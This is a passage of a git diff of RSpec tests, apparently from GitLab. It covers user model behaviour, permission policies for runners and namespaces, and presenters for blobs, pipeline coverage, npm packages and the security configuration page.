+ expect(user.enabled_incoming_email_token).to be_nil
+ end
+ end
+
describe '#recently_sent_password_reset?' do
it 'is false when reset_password_sent_at is nil' do
user = build_stubbed(:user, reset_password_sent_at: nil)
@@ -1726,6 +1780,52 @@ RSpec.describe User do
end
end
+ context 'two_factor_u2f_enabled?' do
+ let_it_be(:user) { create(:user, :two_factor) }
+
+ context 'when webauthn feature flag is enabled' do
+ context 'user has no U2F registration' do
+ it { expect(user.two_factor_u2f_enabled?).to eq(false) }
+ end
+
+ context 'user has existing U2F registration' do
+ it 'returns false' do
+ device = U2F::FakeU2F.new(FFaker::BaconIpsum.characters(5))
+ create(:u2f_registration, name: 'my u2f device',
+ user: user,
+ certificate: Base64.strict_encode64(device.cert_raw),
+ key_handle: U2F.urlsafe_encode64(device.key_handle_raw),
+ public_key: Base64.strict_encode64(device.origin_public_key_raw))
+
+ expect(user.two_factor_u2f_enabled?).to eq(false)
+ end
+ end
+ end
+
+ context 'when webauthn feature flag is disabled' do
+ before do
+ stub_feature_flags(webauthn: false)
+ end
+
+ context 'user has no U2F registration' do
+ it { expect(user.two_factor_u2f_enabled?).to eq(false) }
+ end
+
+ context 'user has existing U2F registration' do
+ it 'returns true' do
+ device = U2F::FakeU2F.new(FFaker::BaconIpsum.characters(5))
+ create(:u2f_registration, name: 'my u2f device',
+ user: user,
+ certificate: Base64.strict_encode64(device.cert_raw),
+ key_handle: U2F.urlsafe_encode64(device.key_handle_raw),
+ public_key: Base64.strict_encode64(device.origin_public_key_raw))
+
+ expect(user.two_factor_u2f_enabled?).to eq(true)
+ end
+ end
+ end
+ end
+
describe 'projects' do
before do
@user = create(:user)
@@ -1856,15 +1956,31 @@ RSpec.describe User do
end
context 'when user has running CI pipelines' do
- let(:service) { double }
let(:pipelines) { build_list(:ci_pipeline, 3, :running) }
- it 'aborts all running pipelines and related jobs' do
+ it 'drops all running pipelines and related jobs' do
+ drop_service = double
+ disable_service = double
+
expect(user).to receive(:pipelines).and_return(pipelines)
- expect(Ci::DropPipelineService).to receive(:new).and_return(service)
- expect(service).to receive(:execute_async_for_all).with(pipelines, :user_blocked, user)
+ expect(Ci::DropPipelineService).to receive(:new).and_return(drop_service)
+ expect(drop_service).to receive(:execute_async_for_all).with(pipelines, :user_blocked, user)
- user.block
+ expect(Ci::DisableUserPipelineSchedulesService).to receive(:new).and_return(disable_service)
+ expect(disable_service).to receive(:execute).with(user)
+
+ user.block!
+ end
+
+ it 'does not drop running pipelines if the transaction rolls back' do
+ expect(Ci::DropPipelineService).not_to receive(:new)
+ expect(Ci::DisableUserPipelineSchedulesService).not_to receive(:new)
+
+ User.transaction do
+ user.block
+
+ raise ActiveRecord::Rollback
+ end
end
end
@@ -2540,26 +2656,18 @@ RSpec.describe User do
end
describe '.find_by_full_path' do
- using RSpec::Parameterized::TableSyntax
-
- # TODO: this `where/when` can be removed in issue https://gitlab.com/gitlab-org/gitlab/-/issues/341070
- # At that point we only need to check `user_namespace`
- where(namespace_type: [:namespace, :user_namespace])
+ let!(:user) { create(:user, namespace: create(:user_namespace)) }
- with_them do
- let!(:user) { create(:user, namespace: create(namespace_type)) }
-
- context 'with a route matching the given path' do
- let!(:route) { user.namespace.route }
+ context 'with a route matching the given path' do
+ let!(:route) { user.namespace.route }
- it 'returns the user' do
- expect(described_class.find_by_full_path(route.path)).to eq(user)
- end
+ it 'returns the user' do
+ expect(described_class.find_by_full_path(route.path)).to eq(user)
+ end
- it 'is case-insensitive' do
- expect(described_class.find_by_full_path(route.path.upcase)).to eq(user)
- expect(described_class.find_by_full_path(route.path.downcase)).to eq(user)
- end
+ it 'is case-insensitive' do
+ expect(described_class.find_by_full_path(route.path.upcase)).to eq(user)
+ expect(described_class.find_by_full_path(route.path.downcase)).to eq(user)
end
context 'with a redirect route matching the given path' do
@@ -3463,19 +3571,7 @@ RSpec.describe User do
subject { user.membership_groups }
- shared_examples 'returns groups where the user is a member' do
- specify { is_expected.to contain_exactly(parent_group, child_group) }
- end
-
- it_behaves_like 'returns groups where the user is a member'
-
- context 'when feature flag :linear_user_membership_groups is disabled' do
- before do
- stub_feature_flags(linear_user_membership_groups: false)
- end
-
- it_behaves_like 'returns groups where the user is a member'
- end
+ specify { is_expected.to contain_exactly(parent_group, child_group) }
end
describe '#authorizations_for_projects' do
@@ -5543,7 +5639,7 @@ RSpec.describe User do
describe '#dismissed_callout?' do
let_it_be(:user, refind: true) { create(:user) }
- let_it_be(:feature_name) { UserCallout.feature_names.each_key.first }
+ let_it_be(:feature_name) { Users::Callout.feature_names.each_key.first }
context 'when no callout dismissal record exists' do
it 'returns false when no ignore_dismissal_earlier_than provided' do
@@ -5553,7 +5649,7 @@ RSpec.describe User do
context 'when dismissed callout exists' do
before_all do
- create(:user_callout, user: user, feature_name: feature_name, dismissed_at: 4.months.ago)
+ create(:callout, user: user, feature_name: feature_name, dismissed_at: 4.months.ago)
end
it 'returns true when no ignore_dismissal_earlier_than provided' do
@@ -5572,12 +5668,12 @@ RSpec.describe User do
describe '#find_or_initialize_callout' do
let_it_be(:user, refind: true) { create(:user) }
- let_it_be(:feature_name) { UserCallout.feature_names.each_key.first }
+ let_it_be(:feature_name) { Users::Callout.feature_names.each_key.first }
subject(:find_or_initialize_callout) { user.find_or_initialize_callout(feature_name) }
context 'when callout exists' do
- let!(:callout) { create(:user_callout, user: user, feature_name: feature_name) }
+ let!(:callout) { create(:callout, user: user, feature_name: feature_name) }
it 'returns existing callout' do
expect(find_or_initialize_callout).to eq(callout)
@@ -5587,7 +5683,7 @@ RSpec.describe User do
context 'when callout does not exist' do
context 'when feature name is valid' do
it 'initializes a new callout' do
- expect(find_or_initialize_callout).to be_a_new(UserCallout)
+ expect(find_or_initialize_callout).to be_a_new(Users::Callout)
end
it 'is valid' do
@@ -5599,7 +5695,7 @@ RSpec.describe User do
let(:feature_name) { 'notvalid' }
it 'initializes a new callout' do
- expect(find_or_initialize_callout).to be_a_new(UserCallout)
+ expect(find_or_initialize_callout).to be_a_new(Users::Callout)
end
it 'is not valid' do
@@ -6092,20 +6188,6 @@ RSpec.describe User do
end
end
- describe '#default_dashboard?' do
- it 'is the default dashboard' do
- user = build(:user)
-
- expect(user.default_dashboard?).to be true
- end
-
- it 'is not the default dashboard' do
- user = build(:user, dashboard: 'stars')
-
- expect(user.default_dashboard?).to be false
- end
- end
-
describe '.dormant' do
it 'returns dormant users' do
freeze_time do
@@ -6218,19 +6300,7 @@ RSpec.describe User do
subject { user.send(:groups_with_developer_maintainer_project_access) }
- shared_examples 'groups_with_developer_maintainer_project_access examples' do
- specify { is_expected.to contain_exactly(developer_group2) }
- end
-
- it_behaves_like 'groups_with_developer_maintainer_project_access examples'
-
- context 'when feature flag :linear_user_groups_with_developer_maintainer_project_access is disabled' do
- before do
- stub_feature_flags(linear_user_groups_with_developer_maintainer_project_access: false)
- end
-
- it_behaves_like 'groups_with_developer_maintainer_project_access examples'
- end
+ specify { is_expected.to contain_exactly(developer_group2) }
end
describe '.get_ids_by_username' do
@@ -6269,4 +6339,8 @@ RSpec.describe User do
expect(user.user_readme).to be(nil)
end
end
+
+ it_behaves_like 'it has loose foreign keys' do
+ let(:factory_name) { :user }
+ end
end
diff --git a/spec/models/users/callout_spec.rb b/spec/models/users/callout_spec.rb
new file mode 100644
index 00000000000..293f0279e79
--- /dev/null
+++ b/spec/models/users/callout_spec.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::Callout do
+ let_it_be(:callout) { create(:callout) }
+
+ it_behaves_like 'having unique enum values'
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:feature_name) }
+ it { is_expected.to validate_uniqueness_of(:feature_name).scoped_to(:user_id).ignoring_case_sensitivity }
+ end
+end
diff --git a/spec/models/users/calloutable_spec.rb b/spec/models/users/calloutable_spec.rb
new file mode 100644
index 00000000000..01603d8bbd6
--- /dev/null
+++ b/spec/models/users/calloutable_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Users::Calloutable do
+ subject { build(:callout) }
+
+ describe "Associations" do
+ it { is_expected.to belong_to(:user) }
+ end
+
+ describe 'validations' do
+ it { is_expected.to validate_presence_of(:user) }
+ end
+
+ describe '#dismissed_after?' do
+ let(:some_feature_name) { Users::Callout.feature_names.keys.second }
+ let(:callout_dismissed_month_ago) { create(:callout, feature_name: some_feature_name, dismissed_at: 1.month.ago )}
+ let(:callout_dismissed_day_ago) { create(:callout, feature_name: some_feature_name, dismissed_at: 1.day.ago )}
+
+ it 'returns whether a callout dismissed after specified date' do
+ expect(callout_dismissed_month_ago.dismissed_after?(15.days.ago)).to eq(false)
+ expect(callout_dismissed_day_ago.dismissed_after?(15.days.ago)).to eq(true)
+ end
+ end
+end
diff --git a/spec/models/work_item/type_spec.rb b/spec/models/work_item/type_spec.rb
index dd5324d63a0..cc18558975b 100644
--- a/spec/models/work_item/type_spec.rb
+++ b/spec/models/work_item/type_spec.rb
@@ -19,10 +19,10 @@ RSpec.describe WorkItem::Type do
it 'deletes type but not unrelated issues' do
type = create(:work_item_type)
- expect(WorkItem::Type.count).to eq(5)
+ expect(WorkItem::Type.count).to eq(6)
expect { type.destroy! }.not_to change(Issue, :count)
- expect(WorkItem::Type.count).to eq(4)
+ expect(WorkItem::Type.count).to eq(5)
end
end
diff --git a/spec/models/x509_commit_signature_spec.rb b/spec/models/x509_commit_signature_spec.rb
deleted file mode 100644
index 2efb77c96ad..00000000000
--- a/spec/models/x509_commit_signature_spec.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe X509CommitSignature do
- let(:commit_sha) { '189a6c924013fc3fe40d6f1ec1dc20214183bc97' }
- let(:project) { create(:project, :public, :repository) }
- let!(:commit) { create(:commit, project: project, sha: commit_sha) }
- let(:x509_certificate) { create(:x509_certificate) }
- let(:x509_signature) { create(:x509_commit_signature, commit_sha: commit_sha) }
-
- let(:attributes) do
- {
- commit_sha: commit_sha,
- project: project,
- x509_certificate_id: x509_certificate.id,
- verification_status: "verified"
- }
- end
-
- it_behaves_like 'having unique enum values'
-
- describe 'validation' do
- it { is_expected.to validate_presence_of(:commit_sha) }
- it { is_expected.to validate_presence_of(:project_id) }
- it { is_expected.to validate_presence_of(:x509_certificate_id) }
- end
-
- describe 'associations' do
- it { is_expected.to belong_to(:project).required }
- it { is_expected.to belong_to(:x509_certificate).required }
- end
-
- describe '.safe_create!' do
- it 'finds a signature by commit sha if it existed' do
- x509_signature
-
- expect(described_class.safe_create!(commit_sha: commit_sha)).to eq(x509_signature)
- end
-
- it 'creates a new signature if it was not found' do
- expect { described_class.safe_create!(attributes) }.to change { described_class.count }.by(1)
- end
-
- it 'assigns the correct attributes when creating' do
- signature = described_class.safe_create!(attributes)
-
- expect(signature.project).to eq(project)
- expect(signature.commit_sha).to eq(commit_sha)
- expect(signature.x509_certificate_id).to eq(x509_certificate.id)
- end
- end
-
- describe '#user' do
- context 'if email is assigned to a user' do
- let!(:user) { create(:user, email: X509Helpers::User1.certificate_email) }
-
- it 'returns user' do
- expect(described_class.safe_create!(attributes).user).to eq(user)
- end
- end
-
- it 'if email is not assigned to a user, return nil' do
- expect(described_class.safe_create!(attributes).user).to be_nil
- end
- end
-end
diff --git a/spec/policies/clusters/agents/activity_event_policy_spec.rb b/spec/policies/clusters/agents/activity_event_policy_spec.rb
new file mode 100644
index 00000000000..1262fcfd9f2
--- /dev/null
+++ b/spec/policies/clusters/agents/activity_event_policy_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Clusters::Agents::ActivityEventPolicy do
+ let_it_be(:event) { create(:agent_activity_event) }
+
+ let(:user) { create(:user) }
+ let(:policy) { described_class.new(user, event) }
+ let(:project) { event.agent.project }
+
+ describe 'rules' do
+ context 'developer' do
+ before do
+ project.add_developer(user)
+ end
+
+ it { expect(policy).to be_disallowed :admin_cluster }
+ it { expect(policy).to be_disallowed :read_cluster }
+ end
+
+ context 'maintainer' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it { expect(policy).to be_allowed :admin_cluster }
+ it { expect(policy).to be_allowed :read_cluster }
+ end
+ end
+end
diff --git a/spec/policies/group_policy_spec.rb b/spec/policies/group_policy_spec.rb
index fc4fbace790..7822ee2b92e 100644
--- a/spec/policies/group_policy_spec.rb
+++ b/spec/policies/group_policy_spec.rb
@@ -1033,6 +1033,86 @@ RSpec.describe GroupPolicy do
end
end
+ describe 'register_group_runners' do
+ shared_examples 'expected outcome based on runner registration control' do
+ context 'with runner_registration_control FF disabled' do
+ before do
+ stub_feature_flags(runner_registration_control: false)
+ end
+
+ it { is_expected.to be_allowed(:register_group_runners) }
+ end
+
+ context 'with runner_registration_control FF enabled' do
+ before do
+ stub_feature_flags(runner_registration_control: true)
+ end
+
+ context 'with group runner registration disabled' do
+ before do
+ stub_application_setting(valid_runner_registrars: ['project'])
+ end
+
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+ end
+ end
+
+ context 'admin' do
+ let(:current_user) { admin }
+
+ context 'when admin mode is enabled', :enable_admin_mode do
+ it { is_expected.to be_allowed(:register_group_runners) }
+
+ it_behaves_like 'expected outcome based on runner registration control'
+ end
+
+ context 'when admin mode is disabled' do
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+ end
+
+ context 'with owner' do
+ let(:current_user) { owner }
+
+ it { is_expected.to be_allowed(:register_group_runners) }
+
+ it_behaves_like 'expected outcome based on runner registration control'
+ end
+
+ context 'with maintainer' do
+ let(:current_user) { maintainer }
+
+ it { is_expected.to be_allowed(:register_group_runners) }
+
+ it_behaves_like 'expected outcome based on runner registration control'
+ end
+
+ context 'with reporter' do
+ let(:current_user) { reporter }
+
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+
+ context 'with guest' do
+ let(:current_user) { guest }
+
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+
+ context 'with non member' do
+ let(:current_user) { create(:user) }
+
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+
+ context 'with anonymous' do
+ let(:current_user) { nil }
+
+ it { is_expected.to be_disallowed(:register_group_runners) }
+ end
+ end
+
context 'with customer_relations feature flag disabled' do
let(:current_user) { owner }
diff --git a/spec/policies/namespaces/project_namespace_policy_spec.rb b/spec/policies/namespaces/project_namespace_policy_spec.rb
index 5bb38deb498..f6fe4ae552a 100644
--- a/spec/policies/namespaces/project_namespace_policy_spec.rb
+++ b/spec/policies/namespaces/project_namespace_policy_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe NamespacePolicy do
+RSpec.describe Namespaces::ProjectNamespacePolicy do
let_it_be(:parent) { create(:namespace) }
let_it_be(:project) { create(:project, namespace: parent) }
let_it_be(:namespace) { project.project_namespace }
@@ -37,7 +37,7 @@ RSpec.describe NamespacePolicy do
let_it_be(:current_user) { create(:admin) }
context 'when admin mode is enabled', :enable_admin_mode do
- it { is_expected.to be_allowed(*permissions) }
+ it { is_expected.to be_disallowed(*permissions) }
end
context 'when admin mode is disabled' do
diff --git a/spec/policies/namespaces/user_namespace_policy_spec.rb b/spec/policies/namespaces/user_namespace_policy_spec.rb
index 02eda31bfa7..06db2f6e243 100644
--- a/spec/policies/namespaces/user_namespace_policy_spec.rb
+++ b/spec/policies/namespaces/user_namespace_policy_spec.rb
@@ -3,10 +3,10 @@
require 'spec_helper'
RSpec.describe Namespaces::UserNamespacePolicy do
- let(:user) { create(:user) }
- let(:owner) { create(:user) }
- let(:admin) { create(:admin) }
- let(:namespace) { create(:namespace, owner: owner) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:owner) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:namespace) { create(:user_namespace, owner: owner) }
let(:owner_permissions) { [:owner_access, :create_projects, :admin_namespace, :read_namespace, :read_statistics, :transfer_projects, :create_package_settings, :read_package_settings] }
@@ -74,4 +74,26 @@ RSpec.describe Namespaces::UserNamespacePolicy do
it { is_expected.to be_disallowed(:create_jira_connect_subscription) }
end
end
+
+ describe 'create projects' do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:current_user) { owner }
+
+ context 'when user can create projects' do
+ before do
+ allow(current_user).to receive(:can_create_project?).and_return(true)
+ end
+
+ it { is_expected.to be_allowed(:create_projects) }
+ end
+
+ context 'when user cannot create projects' do
+ before do
+ allow(current_user).to receive(:can_create_project?).and_return(false)
+ end
+
+ it { is_expected.to be_disallowed(:create_projects) }
+ end
+ end
end
diff --git a/spec/presenters/blob_presenter_spec.rb b/spec/presenters/blob_presenter_spec.rb
index 28e18708eab..8c0347b3c8d 100644
--- a/spec/presenters/blob_presenter_spec.rb
+++ b/spec/presenters/blob_presenter_spec.rb
@@ -31,6 +31,28 @@ RSpec.describe BlobPresenter do
it { expect(presenter.replace_path).to eq("/#{project.full_path}/-/create/#{blob.commit_id}/#{blob.path}") }
end
+ describe '#can_current_user_push_to_branch' do
+ let(:branch_exists) { true }
+
+ before do
+ allow(project.repository).to receive(:branch_exists?).with(blob.commit_id).and_return(branch_exists)
+ end
+
+ it { expect(presenter.can_current_user_push_to_branch?).to eq(true) }
+
+ context 'current_user is nil' do
+ let(:user) { nil }
+
+ it { expect(presenter.can_current_user_push_to_branch?).to eq(false) }
+ end
+
+ context 'branch does not exist' do
+ let(:branch_exists) { false }
+
+ it { expect(presenter.can_current_user_push_to_branch?).to eq(false) }
+ end
+ end
+
describe '#pipeline_editor_path' do
context 'when blob is .gitlab-ci.yml' do
before do
@@ -45,6 +67,10 @@ RSpec.describe BlobPresenter do
end
end
+ describe '#code_owners' do
+ it { expect(presenter.code_owners).to match_array([]) }
+ end
+
describe '#ide_edit_path' do
it { expect(presenter.ide_edit_path).to eq("/-/ide/project/#{project.full_path}/edit/HEAD/-/files/ruby/regex.rb") }
end
@@ -133,27 +159,25 @@ RSpec.describe BlobPresenter do
presenter.highlight
end
end
- end
- describe '#highlight_transformed' do
context 'when blob is ipynb' do
let(:blob) { repository.blob_at('f6b7a707', 'files/ipython/markdown-table.ipynb') }
let(:git_blob) { blob.__getobj__ }
before do
- allow(git_blob).to receive(:transformed_for_diff).and_return(true)
+ allow(Gitlab::Diff::CustomDiff).to receive(:transformed_for_diff?).and_return(true)
end
it 'uses md as the transformed language' do
expect(Gitlab::Highlight).to receive(:highlight).with('files/ipython/markdown-table.ipynb', anything, plain: nil, language: 'md')
- presenter.highlight_transformed
+ presenter.highlight
end
it 'transforms the blob' do
expect(Gitlab::Highlight).to receive(:highlight).with('files/ipython/markdown-table.ipynb', include("%%"), plain: nil, language: 'md')
- presenter.highlight_transformed
+ presenter.highlight
end
end
@@ -171,7 +195,7 @@ RSpec.describe BlobPresenter do
it 'does not transform the file' do
expect(Gitlab::Highlight).to receive(:highlight).with('files/ruby/regex.rb', git_blob.data, plain: nil, language: 'ruby')
- presenter.highlight_transformed
+ presenter.highlight
end
end
end
diff --git a/spec/presenters/ci/pipeline_presenter_spec.rb b/spec/presenters/ci/pipeline_presenter_spec.rb
index 2d3c0d85eda..a278d4dad83 100644
--- a/spec/presenters/ci/pipeline_presenter_spec.rb
+++ b/spec/presenters/ci/pipeline_presenter_spec.rb
@@ -122,6 +122,30 @@ RSpec.describe Ci::PipelinePresenter do
end
end
+ describe '#coverage' do
+ subject { presenter.coverage }
+
+ context 'when pipeline has coverage' do
+ before do
+ allow(pipeline).to receive(:coverage).and_return(35.0)
+ end
+
+ it 'formats coverage into 2 decimal points' do
+ expect(subject).to eq('35.00')
+ end
+ end
+
+ context 'when pipeline does not have coverage' do
+ before do
+ allow(pipeline).to receive(:coverage).and_return(nil)
+ end
+
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+ end
+
describe '#ref_text' do
subject { presenter.ref_text }
diff --git a/spec/presenters/merge_request_presenter_spec.rb b/spec/presenters/merge_request_presenter_spec.rb
index b3ec184d08c..60296cca058 100644
--- a/spec/presenters/merge_request_presenter_spec.rb
+++ b/spec/presenters/merge_request_presenter_spec.rb
@@ -632,4 +632,28 @@ RSpec.describe MergeRequestPresenter do
it { is_expected.to eq(expose_path("/api/v4/projects/#{project.id}/merge_requests/#{resource.iid}/unapprove")) }
end
+
+ describe '#pipeline_coverage_delta' do
+ subject { described_class.new(resource, current_user: user).pipeline_coverage_delta }
+
+ context 'when merge request has pipeline coverage delta' do
+ before do
+ allow(resource).to receive(:pipeline_coverage_delta).and_return(35.0)
+ end
+
+ it 'formats coverage into 2 decimal points' do
+ expect(subject).to eq('35.00')
+ end
+ end
+
+ context 'when merge request does not have pipeline coverage delta' do
+ before do
+ allow(resource).to receive(:pipeline_coverage_delta).and_return(nil)
+ end
+
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+ end
end
diff --git a/spec/presenters/packages/npm/package_presenter_spec.rb b/spec/presenters/packages/npm/package_presenter_spec.rb
index 49046492ab4..3b6dfcd20b8 100644
--- a/spec/presenters/packages/npm/package_presenter_spec.rb
+++ b/spec/presenters/packages/npm/package_presenter_spec.rb
@@ -32,22 +32,15 @@ RSpec.describe ::Packages::Npm::PackagePresenter do
}
end
- let(:presenter) { described_class.new(package_name, packages, include_metadata: include_metadata) }
+ let(:presenter) { described_class.new(package_name, packages) }
subject { presenter.versions }
- where(:has_dependencies, :has_metadatum, :include_metadata) do
- true | true | true
- false | true | true
- true | false | true
- false | false | true
-
- # TODO : to remove along with packages_npm_abbreviated_metadata
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/344827
- true | true | false
- false | true | false
- true | false | false
- false | false | false
+ where(:has_dependencies, :has_metadatum) do
+ true | true
+ false | true
+ true | false
+ false | false
end
with_them do
@@ -80,7 +73,7 @@ RSpec.describe ::Packages::Npm::PackagePresenter do
context 'metadatum' do
::Packages::Npm::PackagePresenter::PACKAGE_JSON_ALLOWED_FIELDS.each do |metadata_field|
- if params[:has_metadatum] && params[:include_metadata]
+ if params[:has_metadatum]
it { expect(subject.dig(package1.version, metadata_field)).not_to be nil }
else
it { expect(subject.dig(package1.version, metadata_field)).to be nil }
diff --git a/spec/presenters/projects/security/configuration_presenter_spec.rb b/spec/presenters/projects/security/configuration_presenter_spec.rb
new file mode 100644
index 00000000000..836753d0483
--- /dev/null
+++ b/spec/presenters/projects/security/configuration_presenter_spec.rb
@@ -0,0 +1,301 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Projects::Security::ConfigurationPresenter do
+ include Gitlab::Routing.url_helpers
+ using RSpec::Parameterized::TableSyntax
+
+ let(:project_with_repo) { create(:project, :repository) }
+ let(:project_with_no_repo) { create(:project) }
+ let(:current_user) { create(:user) }
+ let(:presenter) { described_class.new(project, current_user: current_user) }
+
+ before do
+ stub_licensed_features(licensed_scan_types.to_h { |type| [type, true] })
+
+ stub_feature_flags(corpus_management: false)
+ end
+
+ describe '#to_html_data_attribute' do
+ subject(:html_data) { presenter.to_html_data_attribute }
+
+ context 'when latest default branch pipeline`s source is not auto devops' do
+ let(:project) { project_with_repo }
+
+ let(:pipeline) do
+ create(
+ :ci_pipeline,
+ project: project,
+ ref: project.default_branch,
+ sha: project.commit.sha
+ )
+ end
+
+ let!(:build_sast) { create(:ci_build, :sast, pipeline: pipeline) }
+ let!(:build_dast) { create(:ci_build, :dast, pipeline: pipeline) }
+ let!(:build_license_scanning) { create(:ci_build, :license_scanning, pipeline: pipeline) }
+
+ it 'includes links to auto devops and secure product docs' do
+ expect(html_data[:auto_devops_help_page_path]).to eq(help_page_path('topics/autodevops/index'))
+ expect(html_data[:help_page_path]).to eq(help_page_path('user/application_security/index'))
+ end
+
+ it 'returns info that Auto DevOps is not enabled' do
+ expect(html_data[:auto_devops_enabled]).to eq(false)
+ expect(html_data[:auto_devops_path]).to eq(project_settings_ci_cd_path(project, anchor: 'autodevops-settings'))
+ end
+
+ it 'includes a link to the latest pipeline' do
+ expect(html_data[:latest_pipeline_path]).to eq(project_pipeline_path(project, pipeline))
+ end
+
+ it 'has stubs for autofix' do
+ expect(html_data.keys).to include(:can_toggle_auto_fix_settings, :auto_fix_enabled, :auto_fix_user_path)
+ end
+
+ context "while retrieving information about user's ability to enable auto_devops" do
+ where(:is_admin, :archived, :feature_available, :result) do
+ true | true | true | false
+ false | true | true | false
+ true | false | true | true
+ false | false | true | false
+ true | true | false | false
+ false | true | false | false
+ true | false | false | false
+ false | false | false | false
+ end
+
+ with_them do
+ before do
+ allow_next_instance_of(described_class) do |presenter|
+ allow(presenter).to receive(:can?).and_return(is_admin)
+ allow(presenter).to receive(:archived?).and_return(archived)
+ allow(presenter).to receive(:feature_available?).and_return(feature_available)
+ end
+ end
+
+ it 'includes can_enable_auto_devops' do
+ expect(html_data[:can_enable_auto_devops]).to eq(result)
+ end
+ end
+ end
+
+ it 'includes feature information' do
+ feature = Gitlab::Json.parse(html_data[:features]).find { |scan| scan['type'] == 'sast' }
+
+ expect(feature['type']).to eq('sast')
+ expect(feature['configured']).to eq(true)
+ expect(feature['configuration_path']).to eq(project_security_configuration_sast_path(project))
+ expect(feature['available']).to eq(true)
+ end
+
+ context 'when checking features configured status' do
+ let(:features) { Gitlab::Json.parse(html_data[:features]) }
+
+ where(:type, :configured) do
+ :dast | true
+ :dast_profiles | true
+ :sast | true
+ :sast_iac | false
+ :container_scanning | false
+ :cluster_image_scanning | false
+ :dependency_scanning | false
+ :license_scanning | true
+ :secret_detection | false
+ :coverage_fuzzing | false
+ :api_fuzzing | false
+ :corpus_management | true
+ end
+
+ with_them do
+ it 'returns proper configuration status' do
+ feature = features.find { |scan| scan['type'] == type.to_s }
+
+ expect(feature['configured']).to eq(configured)
+ end
+ end
+ end
+
+ context 'when the job has more than one report' do
+ let(:features) { Gitlab::Json.parse(html_data[:features]) }
+
+ let!(:artifacts) do
+ { artifacts: { reports: { other_job: ['gl-other-report.json'], sast: ['gl-sast-report.json'] } } }
+ end
+
+ let!(:complicated_job) { build_stubbed(:ci_build, options: artifacts) }
+
+ before do
+ allow_next_instance_of(::Security::SecurityJobsFinder) do |finder|
+ allow(finder).to receive(:execute).and_return([complicated_job])
+ end
+ end
+
+ where(:type, :configured) do
+ :dast | false
+ :dast_profiles | true
+ :sast | true
+ :sast_iac | false
+ :container_scanning | false
+ :cluster_image_scanning | false
+ :dependency_scanning | false
+ :license_scanning | true
+ :secret_detection | false
+ :coverage_fuzzing | false
+ :api_fuzzing | false
+ :corpus_management | true
+ end
+
+ with_them do
+ it 'properly detects security jobs' do
+ feature = features.find { |scan| scan['type'] == type.to_s }
+
+ expect(feature['configured']).to eq(configured)
+ end
+ end
+ end
+
+ it 'includes a link to the latest pipeline' do
+ expect(subject[:latest_pipeline_path]).to eq(project_pipeline_path(project, pipeline))
+ end
+
+ context "while retrieving information about gitlab ci file" do
+ context 'when a .gitlab-ci.yml file exists' do
+ let!(:ci_config) do
+ project.repository.create_file(
+ project.creator,
+ Gitlab::FileDetector::PATTERNS[:gitlab_ci],
+ 'contents go here',
+ message: 'test',
+ branch_name: 'master')
+ end
+
+ it 'expects gitlab_ci_present to be true' do
+ expect(html_data[:gitlab_ci_present]).to eq(true)
+ end
+ end
+
+ context 'when a .gitlab-ci.yml file does not exist' do
+ it 'expects gitlab_ci_present to be false if the file is not present' do
+ expect(html_data[:gitlab_ci_present]).to eq(false)
+ end
+ end
+ end
+
+ it 'includes the path to gitlab_ci history' do
+ expect(subject[:gitlab_ci_history_path]).to eq(project_blame_path(project, 'master/.gitlab-ci.yml'))
+ end
+ end
+
+ context 'when the project is empty' do
+ let(:project) { project_with_no_repo }
+
+ it 'includes a blank gitlab_ci history path' do
+ expect(html_data[:gitlab_ci_history_path]).to eq('')
+ end
+ end
+
+ context 'when the project has no default branch set' do
+ let(:project) { project_with_repo }
+
+ it 'includes the path to gitlab_ci history' do
+ allow(project).to receive(:default_branch).and_return(nil)
+
+ expect(html_data[:gitlab_ci_history_path]).to eq(project_blame_path(project, 'master/.gitlab-ci.yml'))
+ end
+ end
+
+ context "when the latest default branch pipeline's source is auto devops" do
+ let(:project) { project_with_repo }
+
+ let(:pipeline) do
+ create(
+ :ci_pipeline,
+ :auto_devops_source,
+ project: project,
+ ref: project.default_branch,
+ sha: project.commit.sha
+ )
+ end
+
+ let!(:build_sast) { create(:ci_build, :sast, pipeline: pipeline, status: 'success') }
+ let!(:build_dast) { create(:ci_build, :dast, pipeline: pipeline, status: 'success') }
+ let!(:ci_build) { create(:ci_build, :secret_detection, pipeline: pipeline, status: 'pending') }
+
+ it 'reports that auto devops is enabled' do
+ expect(html_data[:auto_devops_enabled]).to be_truthy
+ end
+
+ context 'when gathering feature data' do
+ let(:features) { Gitlab::Json.parse(html_data[:features]) }
+
+ where(:type, :configured) do
+ :dast | true
+ :dast_profiles | true
+ :sast | true
+ :sast_iac | false
+ :container_scanning | false
+ :cluster_image_scanning | false
+ :dependency_scanning | false
+ :license_scanning | false
+ :secret_detection | true
+ :coverage_fuzzing | false
+ :api_fuzzing | false
+ :corpus_management | true
+ end
+
+ with_them do
+ it 'reports that all scanners are configured for which latest pipeline has builds' do
+ feature = features.find { |scan| scan['type'] == type.to_s }
+
+ expect(feature['configured']).to eq(configured)
+ end
+ end
+ end
+ end
+
+ context 'when the project has no default branch pipeline' do
+ let(:project) { project_with_repo }
+
+ it 'reports that auto devops is disabled' do
+ expect(html_data[:auto_devops_enabled]).to be_falsy
+ end
+
+ it 'includes a link to CI pipeline docs' do
+ expect(html_data[:latest_pipeline_path]).to eq(help_page_path('ci/pipelines'))
+ end
+
+ context 'when gathering feature data' do
+ let(:features) { Gitlab::Json.parse(html_data[:features]) }
